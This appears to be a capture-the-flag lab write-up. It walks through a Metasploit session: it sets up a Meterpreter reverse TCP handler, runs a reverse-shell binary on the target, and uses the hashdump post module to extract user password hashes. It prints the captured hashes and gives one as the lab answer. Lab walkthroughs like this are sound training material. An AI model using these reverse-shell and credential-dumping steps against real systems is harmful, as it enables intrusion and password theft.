    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP 
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP
                                                                                                                                                                                     
                                                                    .                                                                                                                       
                .                                                                                                                                                                           
        o                  To boldly go where no
                            shell has gone before
                                                                                                                                                                                            

       =[ metasploit v6.4.50-dev                          ]
+ -- --=[ 2496 exploits - 1283 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 12345
LPORT => 12345
msf6 exploit(multi/handler) > set LHOST 10.14.61.233
LHOST => 10.14.61.233
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.14.61.233:12345 

Get a meterpreter session on the target machine

Next, we launch the reverse shell at the target machine

root@ip-10-10-178-252:/# cd /tmp
root@ip-10-10-178-252:/tmp# chmod +x rev_shell 
root@ip-10-10-178-252:/tmp# ./rev_shell 

And verify that we have a session

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.14.61.233:12345 
[*] Sending stage (3045380 bytes) to 10.10.178.252
[*] Meterpreter session 1 opened (10.14.61.233:12345 -> 10.10.178.252:49142) at 2025-04-26 13:10:38 +0200

meterpreter > 

What is the other user's password hash?

Hint: use the post/linux/gather/hashdump module.

We want the hashes from the hashdump post exploitation module

meterpreter > 
Background session 1? [y/N]  
msf6 exploit(multi/handler) > use post/
Display all 431 possibilities? (y or n)
msf6 exploit(multi/handler) > use post/linux/gather/hashdump 
msf6 post(linux/gather/hashdump) > show options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.

msf6 post(linux/gather/hashdump) > set SESSION 1
SESSION => 1
msf6 post(linux/gather/hashdump) > run
[+] murphy:$6$qK0Kt4UO$HuCrlOJGbBJb5Av9SL7rEzbxcz/KZYFkMwUqAE0ZMDpNRmOHhPHeI2JU3m9OBOS7lUKkKMADLxCBcywzIxl7b.:1001:1001::/home/murphy:/bin/sh
[+] claire:$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0:1002:1002::/home/claire:/bin/sh
[+] Unshadowed Password File: /home/kali/.msf4/loot/20250426131455_default_10.10.178.252_linux.hashes_066424.txt
[*] Post module execution completed
msf6 post(linux/gather/hashdump) > 

The other user is claire and her hash is $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0.

Answer: $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0

For additional information, please see the references below.

References